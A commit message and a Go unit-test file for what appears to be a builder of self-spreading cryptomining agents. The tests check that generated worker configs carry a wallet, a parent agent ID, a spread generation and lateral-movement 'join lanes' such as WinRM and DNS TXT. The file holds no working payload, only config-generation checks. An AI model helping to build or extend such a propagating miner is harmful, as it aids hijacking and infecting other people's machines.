Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

server/internal/builder/genealogy_test.go

@@ -0,0 +1,45 @@
+package builder
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestSpreadStrainFromJoinLane(t *testing.T) {
+	got := spreadStrainFromJoinLane("dns_txt")
+	if got == "" || got[0] != '#' || len(got) != 7 {
+		t.Fatalf("unexpected strain: %q", got)
+	}
+	if spreadStrainFromJoinLane("dns_txt") != got {
+		t.Fatal("strain not stable")
+	}
+	if spreadStrainFromJoinLane("winrm") == got {
+		t.Fatal("lanes should differ")
+	}
+}
+
+func TestGenerateBuiltinConfigSpreadGenealogy(t *testing.T) {
+	h := &Handler{}
+	req := &BuildRequest{
+		WorkerName:       "child",
+		ServerURL:        "http://127.0.0.1:8989",
+		Wallet:           "4TEST",
+		ParentAgentID:    "parent-abc",
+		SpreadGeneration: 2,
+		JoinLane:         "winrm",
+	}
+	src := h.generateBuiltinConfig("genealogy-build", req)
+	for _, want := range []string{
+		`ParentAgentID:    "parent-abc"`,
+		"SpreadGeneration: 2",
+		`BakedJoinLane:    "winrm"`,
+	} {
+		if !strings.Contains(src, want) {
+			t.Fatalf("missing %q in:\n%s", want, src)
+		}
+	}
+	strain := spreadStrainFromJoinLane("winrm")
+	if !strings.Contains(src, `SpreadStrain:     "`+strain+`"`) {
+		t.Fatalf("expected baked strain %q in config", strain)
+	}
+}